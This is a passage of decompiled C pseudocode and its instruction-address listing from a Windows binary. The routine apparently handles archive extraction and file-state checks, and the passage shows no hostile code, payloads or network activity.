																		if(_t379 == 5) {
																			goto L77;
																		}
																		__eflags =  *((char*)(_t613 + 0xf));
																		if( *((char*)(_t613 + 0xf)) == 0) {
																			L90:
																			_t611 =  *((intOrPtr*)(_t613 - 0x24));
																			L91:
																			__eflags =  *((char*)(_t500 + 0xb054));
																			if( *((char*)(_t500 + 0xb054)) == 0) {
																				__eflags =  *((char*)(_t613 + 0xf));
																				if( *((char*)(_t613 + 0xf)) == 0) {
																					L184:
																					 *(_t613 - 4) = 0;
																					E00408C7D(_t500, _t613 - 0x1158);
																					 *(_t613 - 4) =  *(_t613 - 4) | 0xffffffff;
																					E0040D111(_t613 - 0x134);
																					__eflags =  *(_t613 - 0xe);
																					if( *(_t613 - 0xe) != 0) {
																						_t333 = _t611 + 0x4454;
																						 *_t333 =  *(_t611 + 0x4454) + 1;
																						__eflags =  *_t333;
																					}
																					L186:
																					_t383 =  *((intOrPtr*)(_t613 - 0x24));
																					__eflags =  *((char*)(_t383 + 0x21d8));
																					if( *((char*)(_t383 + 0x21d8)) != 0) {
																						goto L191;
																					}
																					__eflags =  *((char*)(_t613 + 0xf));
																					if( *((char*)(_t613 + 0xf)) != 0) {
																						L14:
																						_t364 = 1;
																						goto L15;
																					}
																					__eflags =  *((char*)(_t500 + 0xb054));
																					if( *((char*)(_t500 + 0xb054)) != 0) {
																						__eflags =  *((char*)(_t613 - 0x1d));
																						if( *((char*)(_t613 - 0x1d)) != 0) {
																							goto L14;
																						}
																						goto L191;
																					}
																					L189:
																					E004010C0(_t500);
																					goto L14;
																				}
																				L95:
																				_t386 =  *((intOrPtr*)(_t611 + 8)) + 0x51c1;
																				__eflags =  *_t386;
																				if( *_t386 == 0) {
																					L97:
																					__eflags =  *((char*)(_t613 - 0x1d));
																					if( *((char*)(_t613 - 0x1d)) != 0) {
																						L125:
																						__eflags =  *((char*)(_t613 - 0x1d));
																						 *((char*)(_t613 - 0xf)) = 1;
																						if( *((char*)(_t613 - 0x1d)) != 0) {
																							L102:
																							 *((intOrPtr*)(_t611 + 0x4450)) =  *((intOrPtr*)(_t611 + 0x4450)) + 1;
																							 *((intOrPtr*)(_t611 + 0x21f8)) = 0;
																							 *((intOrPtr*)(_t611 + 0x21fc)) = 0;
																							 *((intOrPtr*)(_t611 + 0x2200)) = 0;
																							 *((intOrPtr*)(_t611 + 0x2204)) = 0;
																							E00409885(_t611 + 0x38e0,  *((intOrPtr*)(_t500 + 0x7648)),  *((intOrPtr*)( *((intOrPtr*)(_t611 + 8)) + 0x7298)));
																							E00409885(_t611 + 0x2218,  *((intOrPtr*)(_t500 + 0x7648)),  *((intOrPtr*)( *((intOrPtr*)(_t611 + 8)) + 0x7298)));
																							 *(_t611 + 0x30) =  *(_t500 + 0x7630);
																							 *(_t611 + 0x34) =  *(_t500 + 0x7634);
																							E0040B863( *((intOrPtr*)(_t613 - 0x28)), _t500, _t613 - 0x1158);
																							_t395 =  *((intOrPtr*)(_t613 - 0xf));
																							 *(_t611 + 0x39) = _t395;
																							 *((char*)(_t611 + 0x3a)) =  *((intOrPtr*)(_t613 - 0x1d));
																							__eflags = _t395;
																							if(_t395 != 0) {
																								L114:
																								_t531 =  *((intOrPtr*)(_t611 + 8));
																								 *((char*)( *((intOrPtr*)(_t611 + 8)) + 0x5194)) =  *((char*)(_t613 - 0xf));
																								 *((char*)(_t613 - 0x1145)) = _t395 & 0xffffff00 |  *((char*)( *((intOrPtr*)(_t611 + 8)) + 0x5194)) == 0x00000000;
																								if( *((char*)(_t613 - 0xf)) != 0) {
																									L117:
																									 *((char*)(_t613 - 0xd)) = 0;
																									L118:
																									__eflags =  *((char*)(_t613 - 0x11));
																									 *((char*)(_t613 - 0x19)) = 1;
																									 *((char*)(_t613 + 0xb)) = 1;
																									if( *((char*)(_t613 - 0x11)) == 0) {
																										__eflags =  *((char*)(_t500 + 0x7670));
																										if( *((char*)(_t500 + 0x7670)) == 0) {
																											__eflags =  *((char*)(_t500 + 0x6602));
																											if(__eflags != 0) {
																												_push( *(_t500 + 0x76c8) & 0x000000ff);
																												_push( *((intOrPtr*)(_t500 + 0x76cc)));
																												E004126F0( *((intOrPtr*)(_t611 + 0x4448))); // executed
																												_t426 =  *((intOrPtr*)(_t611 + 0x4448));
																												_t590 =  *(_t500 + 0x763c);
																												 *(_t426 + 0x4c40) =  *(_t500 + 0x7638);
																												 *(_t426 + 0x4c44) =  *(_t500 + 0x763c);
																												 *((char*)(_t426 + 0x4c58)) = 0;
																												E00418AFF( *((intOrPtr*)(_t611 + 0x4448)),  *(_t500 + 0x6601) & 0x000000ff,  *(_t500 + 0x76c8) & 0x000000ff); // executed
																											} else {
																												_push( *(_t500 + 0x763c));
																												_push( *(_t500 + 0x7638));
																												_push( *((intOrPtr*)(_t613 - 0x28)));
																												E004071DF(_t590, __eflags);
																											}
																										}
																										L147:
																										E004010C0(_t500);
																										__eflags =  *((char*)(_t500 + 0x7671));
																										if(__eflags != 0) {
																											L150:
																											_t398 = 0;
																											__eflags = 0;
																											L151:
																											__eflags =  *(_t500 + 0x76c8);
																											if( *(_t500 + 0x76c8) != 0) {
																												__eflags =  *((char*)(_t500 + 0x6602));
																												if( *((char*)(_t500 + 0x6602)) == 0) {
																													L159:
																													__eflags =  *((char*)(_t613 - 0x1d));
																													 *((char*)(_t613 - 0xd)) = 0;
																													if( *((char*)(_t613 - 0x1d)) != 0) {
																														L169:
																														__eflags =  *((char*)(_t613 - 0xf));
																														if( *((char*)(_t613 - 0xf)) != 0) {
																															goto L184;
																														}
																														__eflags =  *(_t613 - 0x18) - 0x58;
																														if( *(_t613 - 0x18) == 0x58) {
																															L172:
																															__eflags =  *((char*)(_t613 - 0x11));
																															if( *((char*)(_t613 - 0x11)) == 0) {
																																L175:
																																__eflags =  *((char*)(_t613 - 0xd));
																																if( *((char*)(_t613 - 0xd)) == 0) {
																																	L178:
																																	_t399 =  *((intOrPtr*)(_t611 + 8));
																																	__eflags =  *((char*)(_t399 + 0x5150));
																																	if( *((char*)(_t399 + 0x5150)) != 0) {
																																		_t304 = _t500 + 0x6604;
																																		 *_t304 =  *(_t500 + 0x6604) & 0xffffffdf;
																																		__eflags =  *_t304;
																																	}
																																	asm("sbb ecx, ecx");
																																	asm("sbb ecx, ecx");
																																	asm("sbb ecx, ecx");
																																	E00408D35(_t613 - 0x1158,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x628c)) & _t500 + 0x00007618,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x6290)) & _t500 + 0x00007620,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x6294)) & _t500 + 0x00007628);
																																	E00408A32(_t613 - 0x1158);
																																	asm("sbb ecx, ecx");
																																	asm("sbb ecx, ecx");
																																	E00408C57(_t500 + 0x7618,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x628c)) & _t500 + 0x00007618,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x6294)) & _t500 + 0x00007628);
																																	_t407 =  *((intOrPtr*)(_t611 + 8));
																																	__eflags =  *((char*)(_t407 + 0x519b));
																																	if( *((char*)(_t407 + 0x519b)) == 0) {
																																		_t409 = E0040908D(_t613 - 0x113a,  *(_t500 + 0x6604));
																																		__eflags = _t409;
																																		if(_t409 == 0) {
																																			E0040639F(0x10, _t500 + 0x1e, _t613 - 0x113a);
																																		}
																																	}
																																	 *((char*)(_t611 + 0x545d)) = 1;
																																	goto L184;
																																}
																																_t413 =  *((intOrPtr*)(_t611 + 8));
																																__eflags =  *((char*)(_t413 + 0x5194));
																																if( *((char*)(_t413 + 0x5194)) == 0) {
																																	goto L184;
																																}
																																E00408C47(_t613 - 0x1158);
																																goto L178;
																															}
																															__eflags =  *(_t500 + 0x76d8) - 5;
																															if( *(_t500 + 0x76d8) != 5) {
																																goto L184;
																															}
																															__eflags =  *((char*)(_t613 + 0xb));
																															if( *((char*)(_t613 + 0xb)) == 0) {
																																goto L184;
																															}
																															goto L175;
																														}
																														__eflags =  *(_t613 - 0x18) - 0x45;
																														if( *(_t613 - 0x18) != 0x45) {
																															goto L184;
																														}
																														goto L172;
																													}
																													__eflags =  *((char*)(_t613 - 0x19));
																													if( *((char*)(_t613 - 0x19)) == 0) {
																														goto L169;
																													}
																													__eflags = _t398;
																													if(_t398 != 0) {
																														goto L169;
																													}
																													__eflags =  *((intOrPtr*)(_t500 + 0x7673)) - _t398;
																													if( *((intOrPtr*)(_t500 + 0x7673)) == _t398) {
																														L167:
																														_push(_t613 - 0x2158);
																														_push(_t500 + 0x1e);
																														_push(3);
																														L168:
																														E0040639F();
																														 *((char*)(_t613 - 0xd)) = 1;
																														E004062BA(0x4335ac, 3);
																														goto L169;
																													}
																													__eflags =  *((intOrPtr*)(_t500 + 0x7699)) - _t398;
																													if( *((intOrPtr*)(_t500 + 0x7699)) == _t398) {
																														L165:
																														__eflags =  *((char*)(_t611 + 0x445b));
																														if( *((char*)(_t611 + 0x445b)) != 0) {
																															goto L167;
																														}
																														_push(_t613 - 0x2158);
																														_push(_t500 + 0x1e);
																														_push(4);
																														goto L168;
																													}
																													__eflags =  *((intOrPtr*)(_t500 + 0xb064)) - _t398;
																													if( *((intOrPtr*)(_t500 + 0xb064)) == _t398) {
																														goto L167;
																													}
																													goto L165;
																												}
																												__eflags =  *(_t500 + 0x763c);
																												if(__eflags < 0) {
																													goto L159;
																												}
																												if(__eflags > 0) {
																													L157:
																													__eflags = _t398;
																													if(_t398 != 0) {
																														 *((char*)(_t611 + 0x445b)) = 1;
																													}
																													goto L159;
																												}
																												__eflags =  *(_t500 + 0x7638);
																												if( *(_t500 + 0x7638) <= 0) {
																													goto L159;
																												}
																												goto L157;
																											}
																											 *((char*)(_t611 + 0x445b)) = 0;
																											goto L159;
																										}
																										asm("sbb ecx, ecx");
																										_t423 = E00409AE9(_t500, _t611 + 0x38e0, _t590, __eflags, _t500 + 0x7648,  ~( *(_t500 + 0x76a2) & 0x000000ff) & _t500 + 0x000076a3);
																										__eflags = _t423;
																										if(_t423 == 0) {
																											goto L150;
																										}
																										_t398 = 1;
																										goto L151;
																									}
																									_t602 =  *(_t500 + 0x76d8);
																									__eflags = _t602 - 4;
																									if(__eflags == 0) {
																										L129:
																										_t560 = _t611;
																										E00406F23(_t611, __eflags, _t500, _t500 + 0x76dc, _t613 - 0x41a0, 0x800);
																										__eflags =  *((char*)(_t613 - 0xd));
																										if( *((char*)(_t613 - 0xd)) == 0) {
																											L135:
																											__eflags =  *((intOrPtr*)(_t500 + 0xb050)) - 2;
																											if( *((intOrPtr*)(_t500 + 0xb050)) != 2) {
																												L138:
																												__eflags =  *((char*)(_t613 - 0xd));
																												if( *((char*)(_t613 - 0xd)) == 0) {
																													L141:
																													_t434 = 0;
																													__eflags = 0;
																													L142:
																													 *((char*)(_t611 + 0x545d)) = _t434;
																													goto L147;
																												}
																												L139:
																												__eflags =  *((char*)(_t613 + 0xb));
																												if( *((char*)(_t613 + 0xb)) == 0) {
																													goto L141;
																												}
																												_t434 = 1;
																												goto L142;
																											}
																											__eflags =  *((char*)(_t613 - 0xd));
																											if( *((char*)(_t613 - 0xd)) != 0) {
																												goto L139;
																											}
																											L137:
																											 *((char*)(_t613 - 0x19)) = 0;
																											goto L138;
																										}
																										__eflags =  *((short*)(_t613 - 0x41a0));
																										if( *((short*)(_t613 - 0x41a0)) == 0) {
																											goto L135;
																										}
																										_push(0x800);
																										_push(_t613 - 0x41a0);
																										_push(_t611 + 0x545e);
																										__eflags = _t602 - 4;
																										if(__eflags != 0) {
																											_push(_t500 + 0x1e);
																											_push(_t613 - 0x1158);
																											_t440 = E00407276(_t590, _t602, __eflags);
																										} else {
																											_t440 = E0040677F(_t560, _t602, __eflags);
																										}
																										L134:
																										 *((char*)(_t613 + 0xb)) = _t440;
																										__eflags = _t440;
																										if(_t440 == 0) {
																											goto L137;
																										}
																										goto L135;
																									}
																									__eflags = _t602 - 5;
																									if(__eflags == 0) {
																										goto L129;
																									}
																									__eflags = _t602 - 1;
																									if(_t602 == 1) {
																										L127:
																										__eflags =  *((char*)(_t613 - 0xd));
																										if( *((char*)(_t613 - 0xd)) == 0) {
																											goto L135;
																										}
																										_push(_t611 + 0x545e);
																										_t440 = E00406CDB(_t531,  *((intOrPtr*)(_t613 - 0x28)), _t500);
																										goto L134;
																									}
																									__eflags = _t602 - 2;
																									if(_t602 == 2) {
																										goto L127;
																									}
																									__eflags = _t602 - 3;
																									if(_t602 == 3) {
																										goto L127;
																									}
																									E0040639F(0x46, _t500 + 0x1e, _t611 + 0x545e);
																									 *((char*)(_t613 + 0xb)) = 0;
																									goto L137;
																								}
																								__eflags =  *((char*)(_t613 - 0x1d));
																								if( *((char*)(_t613 - 0x1d)) != 0) {
																									goto L117;
																								}
																								__eflags =  *(_t613 - 0x18) - 0x50;
																								 *((char*)(_t613 - 0xd)) = 1;
																								if( *(_t613 - 0x18) != 0x50) {
																									goto L118;
																								}
																								goto L117;
																							}
																							__eflags =  *((intOrPtr*)(_t500 + 0xb064)) - _t395;
																							if( *((intOrPtr*)(_t500 + 0xb064)) != _t395) {
																								goto L114;
																							}
																							_t445 =  *(_t500 + 0x7630);
																							_t590 =  *(_t500 + 0x763c);
																							_t603 =  *(_t500 + 0x7638);
																							_t395 = _t445 << 0xb;
																							__eflags = ( *(_t500 + 0x7634) << 0x00000020 | _t445) << 0xb - _t590;
																							if(__eflags < 0) {
																								goto L114;
																							}
																							if(__eflags > 0) {
																								L107:
																								__eflags = _t590;
																								if(__eflags < 0) {
																									L113:
																									_t395 = E00408FBF(_t613 - 0x1158,  *(_t500 + 0x7638),  *(_t500 + 0x763c));
																									goto L114;
																								}
																								if(__eflags > 0) {
																									L110:
																									_t395 = E00408E03(_t500, _t590);
																									__eflags = _t590 -  *(_t500 + 0x7634);
																									if(__eflags < 0) {
																										goto L114;
																									}
																									if(__eflags > 0) {
																										goto L113;
																									}
																									__eflags = _t395 -  *(_t500 + 0x7630);
																									if(_t395 <=  *(_t500 + 0x7630)) {
																										goto L114;
																									}
																									goto L113;
																								}
																								__eflags = _t603 - 0x5f5e100;
																								if(_t603 < 0x5f5e100) {
																									goto L113;
																								}
																								goto L110;
																							}
																							__eflags = _t395 - _t603;
																							if(_t395 <= _t603) {
																								goto L114;
																							}
																							goto L107;
																						}
																						L101:
																						_t176 = _t611 + 0x444c;
																						 *_t176 =  *(_t611 + 0x444c) + 1;
																						__eflags =  *_t176;
																						goto L102;
																					}
																					__eflags =  *(_t613 - 0x18) - 0x50;
																					 *((char*)(_t613 - 0xf)) = 0;
																					if( *(_t613 - 0x18) != 0x50) {
																						_t446 = E00408C5A(_t613 - 0x1158);
																						__eflags = _t446;
																						if(_t446 != 0) {
																							E0040639F(0x3a, _t500 + 0x1e, _t611 + 0x545e);
																							E004064F3(0x4335ac, _t500 + 0x1e, _t611 + 0x545e);
																						}
																					}
																					goto L101;
																				}
																				 *((char*)(_t611 + 0x545d)) = 1;
																				__eflags =  *_t386;
																				if( *_t386 != 0) {
																					goto L125;
																				}
																				goto L97;
																			}
																			 *((char*)(_t613 - 0x1d)) = 1;
																			 *((char*)(_t613 + 0xf)) = 1;
																			_t452 = L004116E5(_t522, _t613 - 0x2158, 0, 0, 1);
																			__eflags = _t452;
																			if(_t452 != 0) {
																				goto L95;
																			}
																			_t502 = 0;
																			L84:
																			 *(_t613 - 4) = 0;
																			E00408C7D(_t502, _t613 - 0x1158);
																			 *(_t613 - 4) =  *(_t613 - 4) | 0xffffffff;
																			E0040D111(_t613 - 0x134);
																			_t364 = _t502;
																			goto L15;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x50;
																		_t611 =  *((intOrPtr*)(_t613 - 0x24));
																		if( *(_t613 - 0x18) == 0x50) {
																			L88:
																			__eflags =  *((char*)(_t613 + 0xf));
																			if( *((char*)(_t613 + 0xf)) != 0) {
																				goto L95;
																			}
																			goto L91;
																		}
																		_t462 =  *((intOrPtr*)(_t611 + 8));
																		__eflags =  *((char*)(_t462 + 0x51c1));
																		if( *((char*)(_t462 + 0x51c1)) != 0) {
																			goto L88;
																		}
																		_t605 = _t611 + 0x545e;
																		 *((char*)(_t613 + 0xb)) = 0;
																		_t463 = E004092A5(_t611 + 0x545e);
																		__eflags = _t463;
																		if(_t463 == 0) {
																			L75:
																			__eflags =  *((char*)(_t613 + 0xb));
																			if( *((char*)(_t613 + 0xb)) == 0) {
																				goto L88;
																			}
																			L76:
																			 *((char*)(_t613 + 0xf)) = 0;
																			goto L88;
																		}
																		__eflags =  *((char*)(_t613 + 0xb));
																		if( *((char*)(_t613 + 0xb)) != 0) {
																			goto L76;
																		}
																		E004086BE( *((intOrPtr*)(_t611 + 8)), 0, _t605, 0x800, _t613 + 0xb,  *(_t500 + 0x7638),  *(_t500 + 0x763c), _t500 + 0x7618, 0);
																		goto L75;
																	}
																}
																_t475 = E0040733E(_t607, _t500, _t613 - 0x2158);
																__eflags = _t475;
																if(_t475 != 0) {
																	_t476 =  *((intOrPtr*)(_t607 + 8));
																	__eflags =  *((char*)(_t476 + 0x4124));
																	if( *((char*)(_t476 + 0x4124)) == 0) {
																		E004062BA(0x4335ac, 1);
																		 *((char*)(_t613 + 0xf)) = 0;
																	}
																	goto L60;
																}
																 *((char*)(_t607 + 0x645e)) = 1;
																goto L191;
															}
															L54:
															 *((char*)(_t613 + 0xf)) = 0;
															goto L55;
														}
														_t479 = E00407048(_t613 - 0x2190, _t500 + 0x7618);
														__eflags = _t479;
														if(_t479 == 0) {
															goto L55;
														}
														__eflags =  *((char*)(_t613 - 0x2194));
														if( *((char*)(_t613 - 0x2194)) == 0) {
															goto L54;
														} else {
															__eflags = E0040702A(_t613 - 0x2190, _t607);
															goto L53;
														}
													}
													__eflags =  *(_t613 - 0x18) - 0x58;
													if( *(_t613 - 0x18) != 0x58) {
														goto L55;
													}
													goto L48;
												}
												__eflags =  *((char*)(_t367 + 0x5154));
												if( *((char*)(_t367 + 0x5154)) == 0) {
													goto L55;
												}
												goto L46;
											}
											__eflags =  *_t595;
											if( *_t595 == 0) {
												goto L43;
											}
											__eflags =  *((char*)(_t500 + 0x7670));
											 *((char*)(_t613 + 0xf)) = 1;
											if( *((char*)(_t500 + 0x7670)) == 0) {
												goto L44;
											}
											goto L43;
										}
										__eflags =  *(_t613 - 0x18) - 0x49;
										if( *(_t613 - 0x18) == 0x49) {
											goto L38;
										} else {
											_t510 = 1;
											goto L39;
										}
									}
									_t481 =  *((intOrPtr*)(_t500 + 0xb054));
									 *((char*)(_t613 - 0x1d)) = _t481;
									__eflags = _t481;
									if(_t481 == 0) {
										goto L186;
									}
									goto L35;
								}
								_t482 =  *((intOrPtr*)(_t607 + 8));
								__eflags =  *((intOrPtr*)(_t482 + 0x6284)) - 1;
								if( *((intOrPtr*)(_t482 + 0x6284)) <= 1) {
									goto L33;
								}
								L32:
								 *(_t613 - 0xe) = 0;
								goto L33;
							}
							_t484 =  *( *((intOrPtr*)(_t607 + 8)) + 0x6284);
							__eflags = _t484 - 1;
							if(_t484 == 1) {
								goto L33;
							}
							__eflags =  *((char*)(_t613 - 0x10));
							if( *((char*)(_t613 - 0x10)) != 0) {
								goto L33;
							} else {
								__eflags = _t484;
								if(__eflags == 0) {
									 *(_t613 - 0xe) = _t484;
								}
								_push(0);
								__eflags =  *( *((intOrPtr*)(_t607 + 8)) + 0x6284) - 1 - E0040A351(_t613, __eflags, _t613 - 0x2158);
								if(__eflags != 0) {
									goto L32;
								} else {
									_push(1);
									E0040A351(_t613, __eflags, _t613 - 0x2158);
									goto L33;
								}
							}
						}
						__eflags =  *((intOrPtr*)(_t607 + 0x4454)) -  *((intOrPtr*)(_t504 + 0x92e8));
						if( *((intOrPtr*)(_t607 + 0x4454)) <  *((intOrPtr*)(_t504 + 0x92e8))) {
							goto L20;
						}
						__eflags =  *((char*)(_t607 + 0x4459));
						if( *((char*)(_t607 + 0x4459)) != 0) {
							goto L191;
						}
						goto L20;
					}
					__eflags = _t593 - 3;
					if(_t593 != 3) {
						L9:
						__eflags = _t593 - 5;
						if(_t593 != 5) {
							goto L189;
						}
						__eflags =  *((char*)(_t500 + 0x8904));
						if( *((char*)(_t500 + 0x8904)) == 0) {
							goto L191;
						}
						_t490 = E00418B3D(_t585, _t500, _t607 + 0x10, 0,  *(_t613 - 0x18));
						__eflags = _t490;
						if(_t490 != 0) {
							 *((intOrPtr*)( *_t500 + 0xc))( *((intOrPtr*)(_t500 + 0xb040)),  *((intOrPtr*)(_t500 + 0xb044)), 0);
							goto L14;
						} else {
							E004062BA(0x4335ac, 1);
							goto L191;
						}
					}
					__eflags =  *((char*)(_t607 + 0x545d));
					if( *((char*)(_t607 + 0x545d)) == 0) {
						goto L189;
					} else {
						E00406EB8(_t500, _t613,  *((intOrPtr*)(_t607 + 8)), _t500, _t607 + 0x545e);
						goto L9;
					}
				}
				if( *((char*)(__ecx + 0x21d7)) == 0) {
					L4:
					_t364 = 0;
					goto L16;
				}
				if(E00418B3D(__edx, _t500, __ecx + 0x10, 0, _t345) != 0) {
					goto L5;
				} else {
					E004062BA(0x4335ac, 1);
					goto L4;
				}
			}

0x004076aa
0x004076af
0x004076b9
0x004076c3
0x004076c7
0x004076cc
0x004076d3
0x004076d6
0x004076d9
0x00407708
0x00407709
0x0040770f
0x00407712
0x0040779c
0x0040779f
0x004077a6
0x004077ad
0x004077ca
0x004077e3
0x004077e7
0x004077ec
0x004077ee
0x004077f2
0x004077f6
0x004077f8
0x004077fc
0x004077fe
0x004077fe
0x004077fc
0x00407807
0x0040781a
0x0040781f
0x00407826
0x00407871
0x00407876
0x00407878
0x0040788a
0x00407890
0x00407896
0x004078a9
0x004078af
0x004078bd
0x004078c0
0x004078c4
0x004078c8
0x004078cc
0x004078df
0x004078e2
0x004078e8
0x004078ea
0x004078f7
0x004078f7
0x004078f7
0x004078f9
0x004078fc
0x0040790d
0x00407912
0x00407914
0x00408204
0x00408204
0x0040778b
0x0040778c
0x00407791
0x00407799
0x00407799
0x0040791f
0x00407930
0x00407935
0x00407939
0x0040794e
0x0040794e
0x00407952
0x00407952
0x00407955
0x0040795c
0x00407967
0x00407967
0x0040796c
0x00407975
0x0040797b
0x00407980
0x0040798a
0x0040798f
0x00407991
0x004079c5
0x004079cc
0x004079cc
0x004079d2
0x004079d2
0x004079de
0x00407a18
0x00407a22
0x00407a27
0x00407a29
0x00407a2f
0x00407a32
0x00407a32
0x00407a45
0x00407a4c
0x00407a4e
0x00407a50
0x00407a7e
0x00407a80
0x00407a94
0x00407a97
0x00407a9c
0x00407aa3
0x00407aa5
0x00407aac
0x00407abb
0x00407ac3
0x00407ac5
0x00407ac7
0x00407ace
0x00407ad6
0x00407ae2
0x00407ae7
0x00407ae7
0x00407ace
0x00407ac5
0x00407aac
0x00407aeb
0x00407af1
0x00407af6
0x00407afc
0x00407afe
0x00407b02
0x00407b06
0x00407b0a
0x00407b93
0x00407b93
0x00407b95
0x00407b9a
0x00407b9c
0x00407c29
0x00407c2d
0x00000000
0x00000000
0x00407c2f
0x00407c3a
0x00407c3c
0x00407c41
0x00000000
0x00407c41
0x00407ba2
0x00407ba6
0x00407c06
0x00407c0c
0x00407c10
0x00407c15
0x00407c1f
0x00000000
0x00407c1f
0x00407ba8
0x00407bad
0x00000000
0x00000000
0x00407baf
0x00407bb4
0x00000000
0x00000000
0x00407bb6
0x00407bbb
0x00000000
0x00000000
0x00407bbd
0x00407bc0
0x00407bc3
0x00407bca
0x00000000
0x00000000
0x00407bcc
0x00407bcc
0x00407bcc
0x00407bd8
0x00407bd9
0x00407bda
0x00407bdf
0x00000000
0x00407b10
0x00407b10
0x00407b13
0x00000000
0x00000000
0x00407b15
0x00407b19
0x00407c4c
0x00407c4c
0x00407c4f
0x00407c4f
0x00407c56
0x00407c7d
0x00407c81
0x004081a5
0x004081ab
0x004081af
0x004081b4
0x004081be
0x004081c3
0x004081c7
0x004081c9
0x004081c9
0x004081c9
0x004081c9
0x004081cf
0x004081cf
0x004081d2
0x004081d9
0x00000000
0x00000000
0x004081db
0x004081df
0x00407789
0x00407789
0x00000000
0x00407789
0x004081e5
0x004081ec
0x004081fa
0x004081fe
0x00000000
0x00000000
0x00000000
0x004081fe
0x004081ee
0x004081f0
0x00000000
0x004081f0
0x00407c87
0x00407c8a
0x00407c8f
0x00407c92
0x00407ca4
0x00407ca4
0x00407ca8
0x00407e5c
0x00407e5c
0x00407e60
0x00407e64
0x00407cef
0x00407cef
0x00407cf7
0x00407cfd
0x00407d03
0x00407d09
0x00407d26
0x00407d3c
0x00407d4d
0x00407d57
0x00407d5e
0x00407d63
0x00407d69
0x00407d6c
0x00407d6f
0x00407d71
0x00407de2
0x00407de2
0x00407def
0x00407df3
0x00407df9
0x00407e0c
0x00407e0c
0x00407e10
0x00407e10
0x00407e14
0x00407e18
0x00407e1c
0x00407f1c
0x00407f23
0x00407f25
0x00407f2c
0x00407f51
0x00407f52
0x00407f58
0x00407f63
0x00407f69
0x00407f6f
0x00407f75
0x00407f7b
0x00407f98
0x00407f2e
0x00407f2e
0x00407f34
0x00407f3a
0x00407f3d
0x00407f3d
0x00407f2c
0x00407f9d
0x00407f9f
0x00407fa4
0x00407fab
0x00407fdb
0x00407fdb
0x00407fdb
0x00407fdd
0x00407fdd
0x00407fe4
0x00407fef
0x00407ff6
0x00408017
0x00408017
0x0040801b
0x0040801f
0x0040807d
0x0040807d
0x00408081
0x00000000
0x00000000
0x00408087
0x0040808c
0x00408099
0x00408099
0x0040809d
0x004080b6
0x004080b6
0x004080ba
0x004080d7
0x004080d7
0x004080da
0x004080e1
0x004080e3
0x004080e3
0x004080e3
0x004080e3
0x004080f5
0x00408108
0x0040811b
0x0040812c
0x00408137
0x00408147
0x00408154
0x00408165
0x0040816a
0x0040816d
0x00408174
0x00408183
0x00408188
0x0040818a
0x00408199
0x00408199
0x0040818a
0x0040819e
0x00000000
0x0040819e
0x004080bc
0x004080bf
0x004080c6
0x00000000
0x00000000
0x004080d2
0x00000000
0x004080d2
0x0040809f
0x004080a6
0x00000000
0x00000000
0x004080ac
0x004080b0
0x00000000
0x00000000
0x00000000
0x004080b0
0x0040808e
0x00408093
0x00000000
0x00000000
0x00000000
0x00408093
0x00408021
0x00408025
0x00000000
0x00000000
0x00408027
0x00408029
0x00000000
0x00000000
0x0040802b
0x00408031
0x0040805b
0x00408061
0x00408065
0x00408066
0x00408068
0x00408068
0x00408074
0x00408078
0x00000000
0x00408078
0x00408033
0x00408039
0x00408043
0x00408043
0x0040804a
0x00000000
0x00000000
0x00408052
0x00408056
0x00408057
0x00000000
0x00408057
0x0040803b
0x00408041
0x00000000
0x00000000
0x00000000
0x00408041
0x00407ff8
0x00407fff
0x00000000
0x00000000
0x00408001
0x0040800c
0x0040800c
0x0040800e
0x00408010
0x00408010
0x00000000
0x0040800e
0x00408003
0x0040800a
0x00000000
0x00000000
0x00000000
0x0040800a
0x00407fe6
0x00000000
0x00407fe6
0x00407fb6
0x00407fce
0x00407fd3
0x00407fd5
0x00000000
0x00000000
0x00407fd7
0x00000000
0x00407fd7
0x00407e22
0x00407e28
0x00407e2b
0x00407e88
0x00407e9c
0x00407e9e
0x00407ea3
0x00407ea7
0x00407eeb
0x00407eeb
0x00407ef2
0x00407efe
0x00407efe
0x00407f02
0x00407f0f
0x00407f0f
0x00407f0f
0x00407f11
0x00407f11
0x00000000
0x00407f11
0x00407f04
0x00407f04
0x00407f08
0x00000000
0x00000000
0x00407f0c
0x00000000
0x00407f0c
0x00407ef4
0x00407ef8
0x00000000
0x00000000
0x00407efa
0x00407efa
0x00000000
0x00407efa
0x00407ea9
0x00407eb1
0x00000000
0x00000000
0x00407eb3
0x00407ebe
0x00407ec5
0x00407ec6
0x00407ec9
0x00407ed5
0x00407edc
0x00407edf
0x00407ecb
0x00407ecb
0x00407ecb
0x00407ee4
0x00407ee4
0x00407ee7
0x00407ee9
0x00000000
0x00000000
0x00000000
0x00407ee9
0x00407e2d
0x00407e30
0x00000000
0x00000000
0x00407e32
0x00407e35
0x00407e6f
0x00407e6f
0x00407e73
0x00000000
0x00000000
0x00407e7b
0x00407e81
0x00000000
0x00407e81
0x00407e37
0x00407e3a
0x00000000
0x00000000
0x00407e3c
0x00407e3f
0x00000000
0x00000000
0x00407e4e
0x00407e53
0x00000000
0x00407e53
0x00407dfb
0x00407dff
0x00000000
0x00000000
0x00407e01
0x00407e06
0x00407e0a
0x00000000
0x00000000
0x00000000
0x00407e0a
0x00407d73
0x00407d79
0x00000000
0x00000000
0x00407d7b
0x00407d87
0x00407d8d
0x00407d97
0x00407d9a
0x00407d9c
0x00000000
0x00000000
0x00407d9e
0x00407da4
0x00407da4
0x00407da6
0x00407dcb
0x00407ddd
0x00000000
0x00407ddd
0x00407da8
0x00407db2
0x00407db4
0x00407db9
0x00407dbf
0x00000000
0x00000000
0x00407dc1
0x00000000
0x00000000
0x00407dc3
0x00407dc9
0x00000000
0x00000000
0x00000000
0x00407dc9
0x00407daa
0x00407db0
0x00000000
0x00000000
0x00000000
0x00407db0
0x00407da0
0x00407da2
0x00000000
0x00000000
0x00000000
0x00407da2
0x00407ce9
0x00407ce9
0x00407ce9
0x00407ce9
0x00000000
0x00407ce9
0x00407cae
0x00407cb3
0x00407cb7
0x00407cbf
0x00407cc4
0x00407cc6
0x00407cd5
0x00407ce4
0x00407ce4
0x00407cc6
0x00000000
0x00407cb7
0x00407c94
0x00407c9b
0x00407c9e
0x00000000
0x00000000
0x00000000
0x00407c9e
0x00407c65
0x00407c69
0x00407c6d
0x00407c72
0x00407c74
0x00000000
0x00000000
0x00407c76
0x00407be1
0x00407be7
0x00407beb
0x00407bf0
0x00407bfa
0x00407bff
0x00000000
0x00407bff
0x00407b1f
0x00407b24
